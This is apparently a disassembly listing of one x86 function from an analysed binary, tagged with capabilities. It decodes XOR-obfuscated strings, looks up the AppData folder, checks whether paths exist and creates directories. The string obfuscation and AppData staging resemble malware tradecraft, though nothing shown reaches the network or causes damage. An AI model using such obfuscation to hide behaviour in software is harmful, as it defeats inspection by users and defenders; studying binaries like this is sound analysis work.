Function at 0x40f6b0
Capabilities:
Check if file exists
Create directory
Encode data using xor
Get common file path
Get file attributes

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x50418b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x180
push esi
push edi
mov dword [ebp - 0x70], ecx
push 0x104
lea eax, [ebp - 0x190]
mov dword [ebp - 4], 0
push 0
push eax
call fcn.004df810
add esp, 0xc
lea eax, [ebp - 0x190]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
mov dword [ebp - 0x24], 0xeae8ddc7
xor ecx, ecx
mov dword [ebp - 0x20], 0xe681d9f7
mov dword [ebp - 0x1c], 0xd2ced7c6
mov dword [ebp - 0x18], 0x100d8c8
lea eax, [ecx - 0x65]
xor byte [ebp + ecx - 0x24], al
inc ecx
cmp ecx, 0xe
jb 0x40f737
xorps xmm0, xmm0
mov byte [ebp - 0x15], 0
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x44], 0
movups xmmword [ebp - 0x54], xmm0
mov dword [ebp - 0x40], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f763
sub ecx, edx
lea eax, [ebp - 0x24]
push ecx
push eax
lea ecx, [ebp - 0x54]
call fcn.00402870
lea eax, [ebp - 0x54]
mov byte [ebp - 4], 1
push eax
lea edx, [ebp - 0x190]
lea ecx, [ebp - 0x6c]
call fcn.0046a3e0
add esp, 4
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x40f7ca
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40f7c0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4104e5
push ecx
push edx
call fcn.004dd831
add esp, 8
cmp dword [ebp - 0x58], 0x10
lea esi, [ebp - 0x6c]
push 0x537268
cmovae esi, dword [ebp - 0x6c]
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
call fcn.004dcb32
add esp, 4
test eax, eax
jne 0x4104ea
test esi, esi
je 0x41044b
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f810
sub ecx, edx
je 0x41044b
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40f849
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x40f849
cmp eax, 0x20
je 0x40f849
cmp eax, 0x45
je 0x40f849
cmp eax, 0x24
jne 0x41044b
push 0x537268
call fcn.004dcb43
add esp, 4
mov dword [ebp - 0x34], 0xeae8ddc7
mov dword [ebp - 0x30], 0x100d9f7
xor ecx, ecx
lea eax, [ecx - 0x65]
xor byte [ebp + ecx - 0x34], al
inc ecx
cmp ecx, 6
jb 0x40f866
lea ecx, [ebp - 0x34]
mov byte [ebp - 0x2d], 0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f880
mov edi, 0x7fffffff
sub ecx, edx
mov edx, dword [ebx + 0x18]
mov eax, edi
sub eax, edx
cmp eax, ecx
jb 0x4104f0
cmp dword [ebx + 0x1c], 0x10
lea eax, [ebx + 8]
push ecx
cmovae eax, dword [ebx + 8]
lea ecx, [ebp - 0x34]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x88]
call fcn.0046dfc0
mov byte [ebp - 4], 4
lea esi, [ebp - 0x88]
cmp dword [ebp - 0x74], 0x10
push 0x537268
cmovae esi, dword [ebp - 0x88]
call fcn.004dcb32
add esp, 4
test eax, eax
jne 0x4104f5
test esi, esi
je 0x40f931
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f8f1
sub ecx, edx
je 0x40f931
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40f922
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x40f922
cmp eax, 0x20
je 0x40f922
cmp eax, 0x45
je 0x40f922
cmp eax, 0x24
jne 0x40f931
push 0x537268
call fcn.004dcb43
add esp, 4
jmp 0x40f960
push 0x537268
call fcn.004dcb43
add esp, 4
lea eax, [ebp - 0x88]
cmp dword [ebp - 0x74], 0x10
cmovae eax, dword [ebp - 0x88]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x410412
mov dword [ebp - 0x38], 0xfaf3d5c7
xor ecx, ecx
mov dword [ebp - 0x34], 0xc6c4d8fa
mov dword [ebp - 0x30], 0x100e6e7
lea eax, [ecx - 0x65]
xor byte [ebp + ecx - 0x38], al
inc ecx
cmp ecx, 0xa
jb 0x40f977
lea ecx, [ebp - 0x38]
mov byte [ebp - 0x2d], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f990
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x5c]
sub eax, edx
cmp eax, ecx
jb 0x4104fb
cmp dword [ebp - 0x58], 0x10
lea eax, [ebp - 0x6c]
push ecx
cmovae eax, dword [ebp - 0x6c]
lea ecx, [ebp - 0x38]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x54]
call fcn.0046dfc0
mov byte [ebp - 4], 5
lea esi, [ebp - 0x54]
cmp dword [ebp - 0x40], 0x10
push 0x537268
cmovae esi, dword [ebp - 0x54]
call fcn.004dcb32
add esp, 4
test eax, eax
jne 0x410500
test esi, esi
je 0x40fa34
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f9f3
sub ecx, edx
je 0x40fa34
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40fa24
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x40fa24
cmp eax, 0x20
je 0x40fa24
cmp eax, 0x45
je 0x40fa24
cmp eax, 0x24
jne 0x40fa34
push 0x537268
call fcn.004dcb43
mov byte [ebp - 0x11], 1
jmp 0x40fa42
push 0x537268
call fcn.004dcb43
mov byte [ebp - 0x11], 0
mov byte [ebp - 4], 4
add esp, 4
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x40fa7d
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40fa73
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410506
push ecx
push edx
call fcn.004dd831
add esp, 8
cmp byte [ebp - 0x11], 0
je 0x40fceb
mov dword [ebp - 0x38], 0xfaf3d5c7
xor ecx, ecx
mov dword [ebp - 0x34], 0xc6c4d8fa
mov dword [ebp - 0x30], 0x100e6e7
nop
lea eax, [ecx - 0x65]
xor byte [ebp + ecx - 0x38], al
inc ecx
cmp ecx, 0xa
jb 0x40faa0
lea ecx, [ebp - 0x38]
mov byte [ebp - 0x2d], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fab7
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x78]
sub eax, edx
cmp eax, ecx
jb 0x41050b
cmp dword [ebp - 0x74], 0x10
lea eax, [ebp - 0x88]
push ecx
cmovae eax, dword [ebp - 0x88]
lea ecx, [ebp - 0x38]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x54]
call fcn.0046dfc0
mov byte [ebp - 4], 6
lea esi, [ebp - 0x54]
cmp dword [ebp - 0x40], 0x10
push 0x537268
cmovae esi, dword [ebp - 0x54]
call fcn.004dcb32
add esp, 4
test eax, eax
jne 0x410510
test esi, esi
je 0x40fb60
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fb20
sub ecx, edx
je 0x40fb60
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40fb51
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x40fb51
cmp eax, 0x20
je 0x40fb51
cmp eax, 0x45
je 0x40fb51
cmp eax, 0x24
jne 0x40fb60
push 0x537268
call fcn.004dcb43
add esp, 4
jmp 0x40fb89
push 0x537268
call fcn.004dcb43
add esp, 4
lea eax, [ebp - 0x54]
cmp dword [ebp - 0x40], 0x10
cmovae eax, dword [ebp - 0x54]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x40fcb3
sub esp, 0x18
mov byte [ebp - 0x11], 0
lea eax, [ebp - 0x54]
mov dword [ebp - 0x3c], esp
mov ecx, esp
push eax
call fcn.00466580
mov byte [ebp - 4], 7
xor ecx, ecx
mov dword [ebp - 0x20], 0xfaf3d5c7
mov dword [ebp - 0x1c], 0xc6c4d8fa
mov dword [ebp - 0x18], 0x100e6e7
nop dword [eax]
lea eax, [ecx - 0x65]
xor byte [ebp + ecx - 0x20], al
inc ecx
cmp ecx, 0xa
jb 0x40fbc0
sub esp, 0x18
mov byte [ebp - 0x15], 0
mov esi, esp
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x30], esi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fbe0
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x5c]
sub eax, edx
cmp eax, ecx
jb 0x410516
cmp dword [ebp - 0x58], 0x10
lea eax, [ebp - 0x6c]
push ecx
cmovae eax, dword [ebp - 0x6c]
lea ecx, [ebp - 0x20]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x30]
mov ecx, esi
call fcn.0046dfc0
mov cl, byte [ebp - 0x11]
mov byte [ebp - 4], 6
call fcn.0040f090
add esp, 0x30
test eax, eax
jne 0x40fc33
mov eax, dword [ebp - 0x70]
mov byte [eax], 1
jmp 0x40fcb3
cmp dword [ebp - 0x40], 0x10
lea edx, [ebp - 0x54]
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0
cmovae edx, dword [ebp - 0x54]
mov ecx, edx
mov dword [ebp - 0x18], 0
movups xmmword [ebp - 0x2c], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fc58
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x2c]
call fcn.00402870
push ecx
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 8
call fcn.0040c090
mov byte [ebp - 4], 6
add esp, 4
mov ecx, dword [ebp - 0x18]
cmp ecx, 0x10
jb 0x40fcb3
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40fca9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41051b
push ecx
push edx
call fcn.004dd831
add esp, 8
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x40fceb
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40fce1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410520
push ecx
push edx
call fcn.004dd831
add esp, 8
mov dword [ebp - 0x24], 0xfdf2d0c7
xor ecx, ecx
mov dword [ebp - 0x20], 0xf181ccfe
mov dword [ebp - 0x1c], 0xc7d7cbd7
mov dword [ebp - 0x18], 0x100cdc0
nop dword [eax]
lea eax, [ecx - 0x65]
xor byte [ebp + ecx - 0x24], al
inc ecx
cmp ecx, 0xe
jb 0x40fd10
lea ecx, [ebp - 0x24]
mov byte [ebp - 0x15], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fd27
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x5c]
sub eax, edx
cmp eax, ecx
jb 0x410525
cmp dword [ebp - 0x58], 0x10
lea eax, [ebp - 0x6c]
push ecx
cmovae eax, dword [ebp - 0x6c]
lea ecx, [ebp - 0x24]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x30]
lea ecx, [ebp - 0x54]
call fcn.0046dfc0
mov byte [ebp - 4], 9
lea esi, [ebp - 0x54]
cmp dword [ebp - 0x40], 0x10
push 0x537268
cmovae esi, dword [ebp - 0x54]
call fcn.004dcb32
add esp, 4
test eax, eax
jne 0x41052a
test esi, esi
je 0x40fdd1
mov ecx, esi
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fd90
sub ecx, edx
je 0x40fdd1
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40fdc1
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x40fdc1
cmp eax, 0x20
je 0x40fdc1
cmp eax, 0x45
je 0x40fdc1
cmp eax, 0x24
jne 0x40fdd1
push 0x537268
call fcn.004dcb43
mov byte [ebp - 0x11], 1
jmp 0x40fddf
push 0x537268
call fcn.004dcb43
mov byte [ebp - 0x11], 0
mov byte [ebp - 4], 4
add esp, 4
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x40fe1a
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40fe10
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410530
push ecx
push edx
call fcn.004dd831
add esp, 8
cmp byte [ebp - 0x11], 0
je 0x41009b
mov dword [ebp - 0x24], 0xfdf2d0c7
xor ecx, ecx
mov dword [ebp - 0x20], 0xf181ccfe
mov dword [ebp - 0x1c], 0xc7d7cbd7
mov dword [ebp - 0x18], 0x100cdc0
lea eax, [ecx - 0x65]
xor byte [ebp + ecx - 0x24], al
inc ecx
cmp ecx, 0xe
jb 0x40fe42
lea ecx, [ebp - 0x24]
mov byte [ebp - 0x15], 0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fe60
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x78]
sub eax, edx
cmp eax, ecx
jb 0x410535
cmp dword [ebp - 0x74], 0x10
lea eax, [ebp - 0x88]
push ecx
cmovae eax, dword [ebp - 0x88]
lea ecx, [ebp - 0x24]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x30]
lea ecx, [ebp - 0x54]
call fcn.0046dfc0
mov byte [ebp - 4], 0xa
lea esi, [ebp - 0x54]
cmp dword [ebp - 0x40], 0x10
push 0x537268
cmovae esi, dword [ebp - 0x54]
call fcn.004dcb32
add esp, 4
test eax, eax
jne 0x41053a
test esi, esi
je 0x40ff10
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fed0
sub ecx, edx
je 0x40ff10
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40ff01
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x40ff01
cmp eax, 0x20
je 0x40ff01
cmp eax, 0x45
je 0x40ff01
cmp eax, 0x24
jne 0x40ff10
push 0x537268
call fcn.004dcb43
add esp, 4
jmp 0x40ff39
push 0x537268
call fcn.004dcb43
add esp, 4
lea eax, [ebp - 0x54]
cmp dword [ebp - 0x40], 0x10
cmovae eax, dword [ebp - 0x54]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x410063
sub esp, 0x18
mov byte [ebp - 0x11], 0
lea eax, [ebp - 0x54]
mov dword [ebp - 0x30], esp
mov ecx, esp
push eax
call fcn.00466580
mov byte [ebp - 4], 0xb
xor ecx, ecx
mov dword [ebp - 0x24], 0xfdf2d0c7
mov dword [ebp - 0x20], 0xf181ccfe
mov dword [ebp - 0x1c], 0xc7d7cbd7
mov dword [ebp - 0x18], 0x100cdc0
lea eax, [ecx - 0x65]
xor byte [ebp + ecx - 0x24], al
inc ecx
cmp ecx, 0xe
jb 0x40ff70
sub esp, 0x18
mov byte [ebp - 0x15], 0
mov esi, esp
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x3c], esi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40ff90
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x5c]
sub eax, edx
cmp eax, ecx
jb 0x410540
cmp dword [ebp - 0x58], 0x10
lea eax, [ebp - 0x6c]
push ecx
cmovae eax, dword [ebp - 0x6c]
lea ecx, [ebp - 0x24]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x30]
mov ecx, esi
call fcn.0046dfc0
mov cl, byte [ebp - 0x11]
mov byte [ebp - 4], 0xa
call fcn.0040f090
add esp, 0x30
test eax, eax
jne 0x40ffe3
mov eax, dword [ebp - 0x70]
mov byte [eax], 1
jmp 0x410063
cmp dword [ebp - 0x40], 0x10
lea edx, [ebp - 0x54]
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0
cmovae edx, dword [ebp - 0x54]
mov ecx, edx
mov dword [ebp - 0x18], 0
movups xmmword [ebp - 0x2c], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410008
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x2c]
call fcn.00402870
push ecx
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0xc
call fcn.0040c090
mov byte [ebp - 4], 0xa
add esp, 4
mov ecx, dword [ebp - 0x18]
cmp ecx, 0x10
jb 0x410063
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410059
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410545
push ecx
push edx
call fcn.004dd831
add esp, 8
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x41009b
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410091
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41054a
push ecx
push edx
call fcn.004dd831
add esp, 8
movaps xmm0, xmmword [0x526ef0]
xor ecx, ecx
movups xmmword [ebp - 0x26], xmm0
mov word [ebp - 0x16], 0x100
nop
lea eax, [ecx - 0x65]
xor byte [ebp + ecx - 0x26], al
inc ecx
cmp ecx, 0x10
jb 0x4100b0
lea ecx, [ebp - 0x26]
mov byte [ebp - 0x15], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4100c7
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x5c]
sub eax, edx
cmp eax, ecx
jb 0x41054f
cmp dword [ebp - 0x58], 0x10
lea eax, [ebp - 0x6c]
push ecx
cmovae eax, dword [ebp - 0x6c]
lea ecx, [ebp - 0x26]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x30]
lea ecx, [ebp - 0x54]
call fcn.0046dfc0
mov byte [ebp - 4], 0xd
lea esi, [ebp - 0x54]
cmp dword [ebp - 0x40], 0x10
push 0x537268
cmovae esi, dword [ebp - 0x54]
call fcn.004dcb32
add esp, 4
test eax, eax
jne 0x410554
test esi, esi
je 0x410171
mov ecx, esi
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410130
sub ecx, edx
je 0x410171
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x410161
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x410161
cmp eax, 0x20
je 0x410161
cmp eax, 0x45
je 0x410161
cmp eax, 0x24
jne 0x410171
push 0x537268
call fcn.004dcb43
mov byte [ebp - 0x11], 1
jmp 0x41017f
push 0x537268
call fcn.004dcb43
mov byte [ebp - 0x11], 0
mov byte [ebp - 4], 4
add esp, 4
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x4101ba
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4101b0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41055a
push ecx
push edx
call fcn.004dd831
add esp, 8
cmp byte [ebp - 0x11], 0
je 0x410412
movaps xmm0, xmmword [0x526ef0]
xor ecx, ecx
movups xmmword [ebp - 0x26], xmm0
mov word [ebp - 0x16], 0x100
lea eax, [ecx - 0x65]
xor byte [ebp + ecx - 0x26], al
inc ecx
cmp ecx, 0x10
jb 0x4101d7
lea ecx, [ebp - 0x26]
mov byte [ebp - 0x15], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4101f0
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x78]
sub eax, edx
cmp eax, ecx
jb 0x41055f
cmp dword [ebp - 0x74], 0x10
lea eax, [ebp - 0x88]
push ecx
cmovae eax, dword [ebp - 0x88]
lea ecx, [ebp - 0x26]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x30]
lea ecx, [ebp - 0x54]
call fcn.0046dfc0
mov byte [ebp - 4], 0xe
lea esi, [ebp - 0x54]
cmp dword [ebp - 0x40], 0x10
push 0x537268
cmovae esi, dword [ebp - 0x54]
call fcn.004dcb32
add esp, 4
test eax, eax
jne 0x410564
test esi, esi
je 0x4102a0
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410260
sub ecx, edx
je 0x4102a0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x410291
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x410291
cmp eax, 0x20
je 0x410291
cmp eax, 0x45
je 0x410291
cmp eax, 0x24
jne 0x4102a0
push 0x537268
call fcn.004dcb43
add esp, 4
jmp 0x4102c9
push 0x537268
call fcn.004dcb43
add esp, 4
lea eax, [ebp - 0x54]
cmp dword [ebp - 0x40], 0x10
cmovae eax, dword [ebp - 0x54]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x4103de
sub esp, 0x18
mov byte [ebp - 0x11], 0
lea eax, [ebp - 0x54]
mov dword [ebp - 0x30], esp
mov ecx, esp
push eax
call fcn.00466580
mov byte [ebp - 4], 0xf
xor ecx, ecx
movaps xmm0, xmmword [0x526ef0]
movups xmmword [ebp - 0x26], xmm0
mov word [ebp - 0x16], 0x100
lea eax, [ecx - 0x65]
xor byte [ebp + ecx - 0x26], al
inc ecx
cmp ecx, 0x10
jb 0x4102f5
sub esp, 0x18
mov byte [ebp - 0x15], 0
mov esi, esp
lea ecx, [ebp - 0x26]
mov dword [ebp - 0x3c], esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410314
sub ecx, edx
mov edx, dword [ebp - 0x5c]
sub edi, edx
cmp edi, ecx
jb 0x41056a
cmp dword [ebp - 0x58], 0x10
lea edi, [ebp - 0x26]
push ecx
push edi
push edx
lea eax, [ebp - 0x6c]
cmovae eax, dword [ebp - 0x6c]
push eax
push ecx
push dword [ebp - 0x30]
mov ecx, esi
call fcn.0046dfc0
mov cl, byte [ebp - 0x11]
mov byte [ebp - 4], 0xe
call fcn.0040f090
add esp, 0x30
test eax, eax
jne 0x410362
mov eax, dword [ebp - 0x70]
mov byte [eax], 1
jmp 0x4103de
cmp dword [ebp - 0x40], 0x10
lea edx, [ebp - 0x54]
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0
cmovae edx, dword [ebp - 0x54]
mov ecx, edx
mov dword [ebp - 0x18], 0
movups xmmword [ebp - 0x2c], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410387
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x2c]
call fcn.00402870
push ecx
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0x10
call fcn.0040c090
mov ecx, dword [ebp - 0x18]
add esp, 4
cmp ecx, 0x10
jb 0x4103de
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4103d4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41056f
push ecx
push edx
call fcn.004dd831
add esp, 8
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x410412
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410408
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410574
push ecx
push edx
call fcn.004dd831
add esp, 8
mov ecx, dword [ebp - 0x74]
cmp ecx, 0x10
jb 0x410458
mov edx, dword [ebp - 0x88]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41043f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410579
push ecx
push edx
call fcn.004dd831
add esp, 8
jmp 0x410458
push 0x537268
call fcn.004dcb43
add esp, 4
mov ecx, dword [ebp - 0x58]
cmp ecx, 0x10
jb 0x41048c
mov edx, dword [ebp - 0x6c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410482
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41057e
push ecx
push edx
call fcn.004dd831
add esp, 8
mov ecx, dword [ebx + 0x1c]
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x58], 0xf
mov byte [ebp - 0x6c], 0
cmp ecx, 0x10
jb 0x4104d2
mov edx, dword [ebx + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4104c8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41057e
push ecx
push edx
call fcn.004dd831
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004e2ad0
push eax
call fcn.004dc7db
call fcn.00402050
push eax
call fcn.004dc7db
call fcn.00402050
push eax
call fcn.004dc7db
call fcn.004e2ad0
call fcn.00402050
push eax
call fcn.004dc7db
call fcn.00402050
call fcn.004e2ad0
call fcn.004e2ad0
call fcn.00402050
push eax
call fcn.004dc7db
call fcn.004e2ad0
call fcn.00402050
push eax
call fcn.004dc7db
call fcn.00402050
call fcn.004e2ad0
call fcn.004e2ad0
call fcn.00402050
push eax
call fcn.004dc7db
call fcn.004e2ad0
call fcn.00402050
push eax
call fcn.004dc7db
call fcn.00402050
call fcn.004e2ad0
call fcn.004e2ad0
call fcn.004e2ad0
call fcn.004e2ad0
int3